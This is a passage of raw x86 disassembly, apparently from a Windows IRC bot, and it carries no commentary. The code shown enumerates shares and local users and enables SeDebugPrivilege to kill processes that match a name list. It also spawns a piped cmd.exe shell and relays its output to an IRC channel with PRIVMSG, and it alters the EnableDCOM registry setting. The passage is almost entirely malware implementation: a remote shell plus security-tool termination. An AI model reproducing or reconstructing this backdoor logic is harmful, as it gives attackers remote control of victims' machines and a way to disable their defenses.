add esp, 14h
jmp short loc_41C076
; ---------------------------------------------------------------------------
loc_41C024: ; CODE XREF: sub_41BFBE+2Dj
; sub_41BFBE+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_41B883
add esp, 0Ch
loc_41C032: ; CODE XREF: sub_41BFBE+27j
test eax, eax
jnz short loc_41BFFE
loc_41C036: ; CODE XREF: sub_41BFBE+1Bj
push edi
lea eax, [esi+esi*2]
push ds:off_443404[eax*4]
mov esi, offset dword_4E2370
push offset dword_438684
push esi
call sub_41E6A6
add esp, 10h
jmp short loc_41C076
; ---------------------------------------------------------------------------
loc_41C056: ; CODE XREF: sub_41BFBE+Aj
mov eax, [ebp+arg_0]
lea eax, [eax+eax*2]
push ds:off_443400[eax*4]
mov esi, offset dword_4E2370
push offset unk_438660
push esi
call sub_41E6A6
add esp, 0Ch
loc_41C076: ; CODE XREF: sub_41BFBE+64j
; sub_41BFBE+96j
pop edi
mov eax, esi
pop esi
pop ebp
retn
sub_41BFBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C07C proc near ; CODE XREF: sub_40274D+43F9p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_41B7C1
xor esi, esi
push esi
push [ebp+arg_8]
mov [ebp+var_10], eax
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
mov [ebp+var_4], esi
push [ebp+arg_0]
mov [ebp+var_14], esi
mov [ebp+var_C], esi
call sub_40123B
add esp, 18h
loc_41C0B5: ; CODE XREF: sub_41C07C+10Dj
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
push 0FFFFFFFFh
lea eax, [ebp+var_8]
push eax
push 1F6h
push [ebp+var_10]
call ds:dword_44420C
mov ebx, eax
cmp ebx, esi
jz short loc_41C116
cmp ebx, 0EAh
jz short loc_41C116
push ebx
call sub_41BD5A
push eax
lea eax, [ebp+var_214]
push offset unk_4386EC
push eax
call sub_41E6A6
push esi
push [ebp+arg_8]
lea eax, [ebp+var_214]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 24h
jmp short loc_41C183
; ---------------------------------------------------------------------------
loc_41C116: ; CODE XREF: sub_41C07C+5Dj
; sub_41C07C+65j
xor edi, edi
inc edi
cmp [ebp+var_4], edi
jb short loc_41C17A
mov esi, [ebp+var_8]
add esi, 14h
loc_41C124: ; CODE XREF: sub_41C07C+FAj
push dword ptr [esi+10h]
call ds:dword_444204 ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_41C13B
mov eax, offset aNo ; "No"
loc_41C13B: ; CODE XREF: sub_41C07C+B8j
push eax
push dword ptr [esi]
lea eax, [ebp+var_214]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41E6A6
push 1
push [ebp+arg_8]
lea eax, [ebp+var_214]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+var_4]
jbe short loc_41C124
xor esi, esi
loc_41C17A: ; CODE XREF: sub_41C07C+A0j
push [ebp+var_8]
call ds:dword_444140
loc_41C183: ; CODE XREF: sub_41C07C+98j
cmp ebx, 0EAh
jz loc_41C0B5
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41C07C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C19B proc near ; CODE XREF: sub_40274D:loc_406BABp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_41C23E
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_41C1DD
dec eax
jz short loc_41C1D2
dec eax
jnz short loc_41C1F8
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_41B98C
add esp, 14h
jmp short loc_41C1F4
; ---------------------------------------------------------------------------
loc_41C1D2: ; CODE XREF: sub_41C19B+1Dj
push ebx
push edi
call sub_41B96B
pop ecx
pop ecx
jmp short loc_41C1F4
; ---------------------------------------------------------------------------
loc_41C1DD: ; CODE XREF: sub_41C19B+1Aj
cmp [ebp+arg_8], edi
jz short loc_41C1F1
push [ebp+arg_8]
push ebx
push edi
call sub_41B911
add esp, 0Ch
jmp short loc_41C1F4
; ---------------------------------------------------------------------------
loc_41C1F1: ; CODE XREF: sub_41C19B+45j
push 57h
pop eax
loc_41C1F4: ; CODE XREF: sub_41C19B+35j
; sub_41C19B+40j ...
cmp eax, edi
jnz short loc_41C218
loc_41C1F8: ; CODE XREF: sub_41C19B+20j
push ebx
lea eax, [esi+esi*2]
push ds:off_443404[eax*4]
mov esi, offset dword_4E2570
push offset unk_4387A4
push esi
call sub_41E6A6
add esp, 10h
jmp short loc_41C25E
; ---------------------------------------------------------------------------
loc_41C218: ; CODE XREF: sub_41C19B+5Bj
call sub_41BD5A
push eax
push ebx
lea eax, [esi+esi*2]
push ds:off_443400[eax*4]
mov esi, offset dword_4E2570
push offset unk_438774
push esi
call sub_41E6A6
add esp, 14h
jmp short loc_41C25E
; ---------------------------------------------------------------------------
loc_41C23E: ; CODE XREF: sub_41C19B+Dj
mov eax, [ebp+arg_0]
lea eax, [eax+eax*2]
push ds:off_443400[eax*4]
mov esi, offset dword_4E2570
push offset unk_43874C
push esi
call sub_41E6A6
add esp, 0Ch
loc_41C25E: ; CODE XREF: sub_41C19B+7Bj
; sub_41C19B+A1j
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
retn
sub_41C19B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C265 proc near ; CODE XREF: sub_40274D+4487p
var_21C = byte ptr -21Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 21Ch
push esi
push edi
push [ebp+arg_C]
xor esi, esi
mov [ebp+var_4], esi
call sub_41B7C1
push esi
push [ebp+arg_8]
mov [ebp+var_18], eax
push offset aUsernameAccoun ; "Username accounts for local system:"
push [ebp+arg_4]
mov [ebp+var_8], esi
push [ebp+arg_0]
mov [ebp+var_14], esi
mov [ebp+var_1C], esi
mov [ebp+var_C], esi
call sub_40123B
add esp, 18h
push ebx
loc_41C2A4: ; CODE XREF: sub_41C265+129j
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_8]
push eax
push 0FFFFFFFFh
lea eax, [ebp+var_4]
push eax
push 2
push esi
push [ebp+var_18]
call ds:dword_4440E0
cmp eax, esi
mov [ebp+var_10], eax
jz short loc_41C303
cmp eax, 0EAh
jz short loc_41C303
push eax
call sub_41BD5A
push eax
lea eax, [ebp+var_21C]
push offset unk_438810
push eax
call sub_41E6A6
push esi
push [ebp+arg_8]
lea eax, [ebp+var_21C]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 24h
jmp short loc_41C374
; ---------------------------------------------------------------------------
loc_41C303: ; CODE XREF: sub_41C265+62j
; sub_41C265+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41C387
xor ebx, ebx
cmp [ebp+var_8], esi
jbe short loc_41C374
loc_41C311: ; CODE XREF: sub_41C265+E7j
cmp edi, esi
lea eax, [ebp+var_21C]
jz short loc_41C350
push dword ptr [edi]
push offset aS_4 ; " %S"
push eax
call sub_41E6A6
push 1
push [ebp+arg_8]
lea eax, [ebp+var_21C]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 20h
add edi, 4
inc [ebp+var_C]
inc ebx
cmp ebx, [ebp+var_8]
jb short loc_41C311
jmp short loc_41C374
; ---------------------------------------------------------------------------
loc_41C350: ; CODE XREF: sub_41C265+B4j
push offset unk_4387DC
push eax
call sub_41E6A6
push esi
push [ebp+arg_8]
lea eax, [ebp+var_21C]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 1Ch
loc_41C374: ; CODE XREF: sub_41C265+9Cj
; sub_41C265+AAj ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41C387
push edi
call ds:dword_444140
xor edi, edi
mov [ebp+var_4], edi
loc_41C387: ; CODE XREF: sub_41C265+A3j
; sub_41C265+114j
cmp [ebp+var_10], 0EAh
jz loc_41C2A4
cmp edi, esi
pop ebx
jz short loc_41C3A0
push edi
call ds:dword_444140
loc_41C3A0: ; CODE XREF: sub_41C265+132j
push [ebp+var_C]
lea eax, [ebp+var_21C]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41E6A6
push esi
push [ebp+arg_8]
lea eax, [ebp+var_21C]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 20h
xor eax, eax
cmp [ebp+var_10], esi
pop edi
setz al
pop esi
leave
retn
sub_41C265 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C3D9 proc near ; CODE XREF: sub_41AEBB+7p
; sub_41C444+61p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call ds:dword_42B09C ; GetCurrentProcess
push eax
call ds:dword_444244 ; OpenProcessToken
test eax, eax
jnz short loc_41C3F8
leave
retn
; ---------------------------------------------------------------------------
loc_41C3F8: ; CODE XREF: sub_41C3D9+1Bj
push esi
lea eax, [ebp+var_10]
push eax
push [ebp+arg_0]
xor esi, esi
push esi
call ds:dword_444228 ; LookupPrivilegeValueA
test eax, eax
jz short loc_41C436
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_41C41F
or [ebp+var_8], 2
jmp short loc_41C423
; ---------------------------------------------------------------------------
loc_41C41F: ; CODE XREF: sub_41C3D9+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_41C423: ; CODE XREF: sub_41C3D9+44j
push esi
push esi
push esi
lea eax, [ebp+var_14]
push eax
push esi
push [ebp+var_4]
call ds:dword_444170 ; AdjustTokenPrivileges
mov esi, eax
loc_41C436: ; CODE XREF: sub_41C3D9+32j
push [ebp+var_4]
call ds:dword_42B004 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_41C3D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=60h
sub_41C444 proc near ; CODE XREF: sub_40274D+7533p
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
lea ebp, [esp-60h]
sub esp, 550h
push ebx
push esi
push edi
xor ebx, ebx
push 49h
xor eax, eax
cmp ds:dword_4440F0, ebx
pop ecx
lea edi, [ebp+60h+var_128]
mov [ebp+60h+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+60h+var_34C]
mov [ebp+60h+var_350], ebx
rep stosd
jz loc_41C635
cmp ds:dword_444154, ebx
jz loc_41C635
cmp ds:dword_4440A4, ebx
jz loc_41C635
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41C3D9
pop ecx
pop ecx
push ebx
push 0Fh
call ds:dword_4440F0 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+60h+var_4], edi
jz loc_41C628
lea eax, [ebp+60h+var_12C]
push eax
push edi
mov [ebp+60h+var_12C], 128h
call ds:dword_444154 ; Process32First
test eax, eax
mov esi, ds:dword_42B004
jz loc_41C623
lea eax, [ebp+60h+var_12C]
push eax
push edi
call ds:dword_4440A4 ; Process32Next
test eax, eax
jz loc_41C623
mov ebx, ds:dword_42B040
loc_41C505: ; CODE XREF: sub_41C444+1D7j
xor edi, edi
cmp [ebp+60h+arg_10], edi
jz short loc_41C562
loc_41C50C: ; CODE XREF: sub_41C444+E5j
push ds:off_443460[edi]
lea eax, [ebp+60h+var_108]
push eax
call ds:dword_42B124 ; lstrcmpi
test eax, eax
jz short loc_41C530
add edi, 4
cmp edi, 60h
jb short loc_41C50C
jmp loc_41C609
; ---------------------------------------------------------------------------
loc_41C530: ; CODE XREF: sub_41C444+DDj
push [ebp+60h+var_124]
push 0
push 1F0FFFh
call ebx ; OpenProcess
mov edi, eax
test edi, edi
jz loc_41C609
push 0
push edi
call ds:dword_42B094 ; TerminateProcess
test eax, eax
jnz loc_41C609
loc_41C55A: ; CODE XREF: sub_41C444+1ABj
push edi
call esi ; CloseHandle
jmp loc_41C609
; ---------------------------------------------------------------------------
loc_41C562: ; CODE XREF: sub_41C444+C6j
cmp [ebp+60h+arg_C], edi
jnz loc_41C5F4
cmp [ebp+60h+arg_4], edi
jz loc_41C609
push [ebp+60h+var_124]
push 8
call ds:dword_4440F0 ; CreateToolhelp32Snapshot
cmp [ebp+60h+arg_14], 0
mov edi, eax
mov [ebp+60h+var_350], 224h
jz short loc_41C5B4
lea eax, [ebp+60h+var_350]
push eax
push edi
call ds:dword_444118 ; Module32First
test eax, eax
push [ebp+60h+var_124]
jz short loc_41C5BA
lea eax, [ebp+60h+var_230]
jmp short loc_41C5C0
; ---------------------------------------------------------------------------
loc_41C5B4: ; CODE XREF: sub_41C444+14Ej
push [ebp+60h+var_124]
loc_41C5BA: ; CODE XREF: sub_41C444+166j
lea eax, [ebp+60h+var_108]
loc_41C5C0: ; CODE XREF: sub_41C444+16Ej
push eax
lea eax, [ebp+60h+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41E6A6
add esp, 10h
push 1
push [ebp+60h+arg_8]
lea eax, [ebp+60h+var_550]
push eax
push [ebp+60h+arg_4]
push [ebp+60h+arg_0]
call sub_40123B
add esp, 14h
jmp loc_41C55A
; ---------------------------------------------------------------------------
loc_41C5F4: ; CODE XREF: sub_41C444+121j
push [ebp+60h+arg_C]
lea eax, [ebp+60h+var_108]
push eax
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_41C63F
loc_41C609: ; CODE XREF: sub_41C444+E7j
; sub_41C444+FFj ...
lea eax, [ebp+60h+var_12C]
push eax
push [ebp+60h+var_4]
call ds:dword_4440A4 ; Process32Next
test eax, eax
jnz loc_41C505
xor ebx, ebx
loc_41C623: ; CODE XREF: sub_41C444+9Fj
; sub_41C444+B5j
push [ebp+60h+var_4]
call esi ; CloseHandle
loc_41C628: ; CODE XREF: sub_41C444+79j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41C3D9
pop ecx
pop ecx
loc_41C635: ; CODE XREF: sub_41C444+3Cj
; sub_41C444+48j ...
xor eax, eax
loc_41C637: ; CODE XREF: sub_41C444+226j
pop edi
pop esi
pop ebx
add ebp, 60h
leave
retn
; ---------------------------------------------------------------------------
loc_41C63F: ; CODE XREF: sub_41C444+1C3j
push [ebp+60h+var_124]
push 0
push 1F0FFFh
call ebx ; OpenProcess
push [ebp+60h+var_4]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call ds:dword_42B094 ; TerminateProcess
test eax, eax
jnz short loc_41C667
push edi
call esi ; CloseHandle
jmp short loc_41C635
; ---------------------------------------------------------------------------
loc_41C667: ; CODE XREF: sub_41C444+21Cj
xor eax, eax
inc eax
jmp short loc_41C637
sub_41C444 endp
; ---------------------------------------------------------------------------
dword_41C66C dd 246C8D55h, 98EC818Ch, 8B000002h, 57567C45h, 8B59266Ah
; DATA XREF: sub_40274D+24CAo
dd 0DC7D8DF0h, 80C7A5F3h, 94h, 1, 0FDDC858Dh, 0F868FFFFh
dd 50004389h, 2005E8h, 39F63300h, 59596C75h, 0FF561A75h
dd 858D6875h, 0FFFFFDDCh, 0E0458D50h, 0DC75FF50h, 0FE4B7AE8h
dd 14C483FFh, 8D6475FFh, 5656E045h, 506875FFh, 0E8DC75FFh
dd 0FFFFFD6Ch, 8518C483h, 0DC858DC0h, 75FFFFFDh, 89D46807h
dd 5EB0043h, 4389B068h, 0AFE85000h, 3900001Fh, 59596C75h
dd 0FF561A75h, 858D6875h, 0FFFFFDDCh, 0E0458D50h, 0DC75FF50h
dd 0FE4B26E8h, 14C483FFh, 0FDDC858Dh, 0E850FFFFh, 0FFFFB64Ch
dd 0E86075FFh, 0FFFEEA1Dh, 0FF565959h, 42B06815h
db 0, 0CCh
; =============== S U B R O U T I N E =======================================
sub_41C736 proc near ; CODE XREF: sub_40274D+74D4p
; sub_40AF6E+4Dp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
xor edi, edi
push 0
push 1F0FFFh
inc edi
call ds:dword_42B040 ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_41C768
push 0
push esi
call ds:dword_42B094 ; TerminateProcess
test eax, eax
jnz short loc_41C768
push esi
xor edi, edi
call ds:dword_42B004 ; CloseHandle
loc_41C768: ; CODE XREF: sub_41C736+1Aj
; sub_41C736+27j
mov eax, edi
pop edi
pop esi
retn
sub_41C736 endp
; ---------------------------------------------------------------------------
byte_41C76D db 56h, 33h, 0F6h ; DATA XREF: sub_40A263+3B4o
dd 5656016Ah, 0E8565656h, 0FFFFFCC8h, 0FF18C483h, 44345835h
dd 1415FF00h, 0EB0042B0h
db 0E3h
; =============== S U B R O U T I N E =======================================
sub_41C78D proc near ; CODE XREF: sub_41C7BD+2Ap
; sub_41C7F5+7Ep ...
mov eax, ds:dword_4E277C
cmp eax, 0FFFFFFFFh
push esi
mov esi, ds:dword_42B004
jz short loc_41C7A1
push eax
call esi ; CloseHandle
loc_41C7A1: ; CODE XREF: sub_41C78D+Fj
mov eax, ds:dword_4E2778
cmp eax, 0FFFFFFFFh
jz short loc_41C7AE
push eax
call esi ; CloseHandle
loc_41C7AE: ; CODE XREF: sub_41C78D+1Cj
mov eax, ds:dword_4E27B4
cmp eax, 0FFFFFFFFh
jz short loc_41C7BB
push eax
call esi ; CloseHandle
loc_41C7BB: ; CODE XREF: sub_41C78D+29j
pop esi
retn
sub_41C78D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C7BD proc near ; CODE XREF: sub_40274D+7216p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41E1C0
pop ecx
push 0
lea ecx, [ebp+var_4]
push ecx
push eax
push [ebp+arg_0]
mov [ebp+var_4], eax
push ds:dword_4E2770
call ds:dword_42B084 ; WriteFile
test eax, eax
jnz short loc_41C7F0
call sub_41C78D
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_41C7F0: ; CODE XREF: sub_41C7BD+28j
xor eax, eax
inc eax
leave
retn
sub_41C7BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C7F5 proc near ; CODE XREF: seg000:0041C93Cp
; seg000:0041C983p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_42B633
push [ebp+arg_4]
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_41C838
push 7D0h
call ds:dword_42B014 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS_1 ; "PRIVMSG %s :%s\r"
push eax
call sub_41E6A6
add esp, 10h
jmp short loc_41C84F
; ---------------------------------------------------------------------------
loc_41C838: ; CODE XREF: sub_41C7F5+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS ; "%s"
push eax
call sub_41E6A6
add esp, 0Ch
loc_41C84F: ; CODE XREF: sub_41C7F5+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_4441A0 ; send
test eax, eax
jg short loc_41C878
call sub_41C78D
loc_41C878: ; CODE XREF: sub_41C7F5+7Cj
xor eax, eax
leave
retn
sub_41C7F5 endp
; ---------------------------------------------------------------------------
loc_41C87C: ; DATA XREF: sub_41C9D4+174o
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
push esi
xor edi, edi
lea eax, [ebp-20Ch]
push edi
push eax
call sub_41E5F0
mov ebx, ds:dword_42B12C
jmp loc_41C952
; ---------------------------------------------------------------------------
loc_41C8A8: ; CODE XREF: seg000:0041C96Dj
cmp [ebp-4], edi
jnz short loc_41C8D8
lea eax, [ebp-8]
push eax
push ds:dword_4E27B4
call ds:dword_42B128 ; GetExitCodeProcess
test eax, eax
jz short loc_41C8CE
cmp dword ptr [ebp-8], 103h
jnz loc_41C9A0
loc_41C8CE: ; CODE XREF: seg000:0041C8BFj
push 0Ah
call ds:dword_42B014 ; Sleep
jmp short loc_41C944
; ---------------------------------------------------------------------------
loc_41C8D8: ; CODE XREF: seg000:0041C8ABj
xor eax, eax
cmp [ebp-4], edi
jbe short loc_41C8F3
loc_41C8DF: ; CODE XREF: seg000:0041C8F1j
cmp byte ptr [ebp+eax-20Ch], 0Ah
jz loc_41C997
inc eax
cmp eax, [ebp-4]
jb short loc_41C8DF
loc_41C8F3: ; CODE XREF: seg000:0041C8DDj
mov [ebp-4], esi
loc_41C8F6: ; CODE XREF: seg000:0041C99Bj
push esi
lea eax, [ebp-20Ch]
push edi
push eax
call sub_41E5F0
add esp, 0Ch
push edi
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-4]
lea eax, [ebp-20Ch]
push eax
push ds:dword_4E277C
call ds:dword_42B080 ; ReadFile
test eax, eax
jz loc_41C9AC
lea eax, [ebp-20Ch]
push eax
push offset dword_4E2780
push ds:dword_4E2774
call sub_41C7F5
add esp, 0Ch
loc_41C944: ; CODE XREF: seg000:0041C8D6j
push esi
lea eax, [ebp-20Ch]
push edi
push eax
call sub_41E5F0
loc_41C952: ; CODE XREF: seg000:0041C8A3j
add esp, 0Ch
push edi
push edi
lea eax, [ebp-4]
push eax
push esi
lea eax, [ebp-20Ch]
push eax
push ds:dword_4E277C
call ebx ; PeekNamedPipe
test eax, eax
jnz loc_41C8A8
push offset unk_438A80
push offset dword_4E2780
push ds:dword_4E2774
call sub_41C7F5
push dword ptr [ebp+8]
call sub_40B149
add esp, 10h
push 1
jmp short loc_41C9CD
; ---------------------------------------------------------------------------
loc_41C997: ; CODE XREF: seg000:0041C8E7j
inc eax
mov [ebp-4], eax
jmp loc_41C8F6
; ---------------------------------------------------------------------------
loc_41C9A0: ; CODE XREF: seg000:0041C8C8j
call sub_41C78D
push offset unk_438A58
jmp short loc_41C9B1
; ---------------------------------------------------------------------------
loc_41C9AC: ; CODE XREF: seg000:0041C924j
push offset unk_438A28
loc_41C9B1: ; CODE XREF: seg000:0041C9AAj
push offset dword_4E2780
push ds:dword_4E2774
call sub_41C7F5
push dword ptr [ebp+8]
call sub_40B149
add esp, 10h
push edi
loc_41C9CD: ; CODE XREF: seg000:0041C995j
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9D4 proc near ; CODE XREF: sub_40274D+22E8p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push esi
call sub_41C78D
xor esi, esi
push esi
lea eax, [ebp+var_178]
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call ds:dword_444124 ; SearchPathA
test eax, eax
jnz short loc_41CA0B
or eax, 0FFFFFFFFh
jmp loc_41CB8A
; ---------------------------------------------------------------------------
loc_41CA0B: ; CODE XREF: sub_41C9D4+2Dj
push ebx
push edi
mov edi, ds:dword_42B0A0
push esi
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_C]
push eax
xor ebx, ebx
lea eax, [ebp+var_10]
inc ebx
push eax
mov [ebp+var_1C], 0Ch
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_41CAD2
push esi
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_41CAD2
mov edi, ds:dword_42B09C
push 3
push esi
push esi
push offset dword_4E2770
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call ds:dword_42B098 ; DuplicateHandle
test eax, eax
jz short loc_41CAD2
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41E5F0
push 44h
pop edi
push edi
lea eax, [ebp+var_74]
push esi
push eax
call sub_41E5F0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
push esi
mov ebx, offset byte_42B633
push ebx
lea eax, [ebp+var_178]
push eax
mov [ebp+var_74], edi
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call ds:dword_42B008 ; CreateProcessA
test eax, eax
jnz short loc_41CADA
loc_41CAD2: ; CODE XREF: sub_41C9D4+60j
; sub_41C9D4+77j ...
or eax, 0FFFFFFFFh
jmp loc_41CB88
; ---------------------------------------------------------------------------
loc_41CADA: ; CODE XREF: sub_41C9D4+FCj
push [ebp+var_4]
mov edi, ds:dword_42B004
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov ds:dword_4E277C, eax
mov eax, [ebp+var_8]
mov ds:dword_4E2778, eax
mov eax, [ebp+var_2C]
mov ds:dword_4E27B4, eax
call edi ; CloseHandle
cmp [ebp+arg_4], esi
mov eax, [ebp+arg_0]
mov ds:dword_4E2774, eax
jz short loc_41CB14
push [ebp+arg_4]
jmp short loc_41CB15
; ---------------------------------------------------------------------------
loc_41CB14: ; CODE XREF: sub_41C9D4+139j
push ebx
loc_41CB15: ; CODE XREF: sub_41C9D4+13Ej
push offset dword_4E2780
call sub_41E6A6
pop ecx
pop ecx
push esi
push 0Ah
push offset dword_438AE4
call sub_40AE85
mov ecx, [ebp+var_24]
mov edi, eax
imul edi, 234h
add esp, 0Ch
mov ds:dword_4444F0[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset loc_41C87C
push esi
push esi
call ds:dword_42B03C ; CreateThread
cmp eax, esi
mov ds:dword_4444FC[edi], eax
jnz short loc_41CB86
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset unk_438AB0
push eax
call sub_41E6A6
lea eax, [ebp+var_378]
push eax
call sub_417D70
add esp, 10h
loc_41CB86: ; CODE XREF: sub_41C9D4+189j
xor eax, eax
loc_41CB88: ; CODE XREF: sub_41C9D4+101j
pop edi
pop ebx
loc_41CB8A: ; CODE XREF: sub_41C9D4+32j
pop esi
leave
retn
sub_41C9D4 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp ds:dword_444274, edi
jnz loc_41CCBB
lea eax, [ebp-4]
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
mov esi, 80000002h
push esi
call ds:dword_444238 ; RegOpenKeyExA
test eax, eax
jnz short loc_41CC14
lea eax, [ebp-6]
push eax
mov word ptr [ebp-6], 4Eh
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp-6]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push dword ptr [ebp-4]
call ds:dword_4440E4 ; RegSetValueExA
test eax, eax
lea eax, [ebp-214h]
jz short loc_41CBFC
push offset dword_438D60
jmp short loc_41CC01
; ---------------------------------------------------------------------------
loc_41CBFC: ; CODE XREF: seg000:0041CBF3j
push offset dword_438D40
loc_41CC01: ; CODE XREF: seg000:0041CBFAj
push eax
call sub_41E6A6
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_4441E8 ; RegCloseKey
jmp short loc_41CC27
; ---------------------------------------------------------------------------
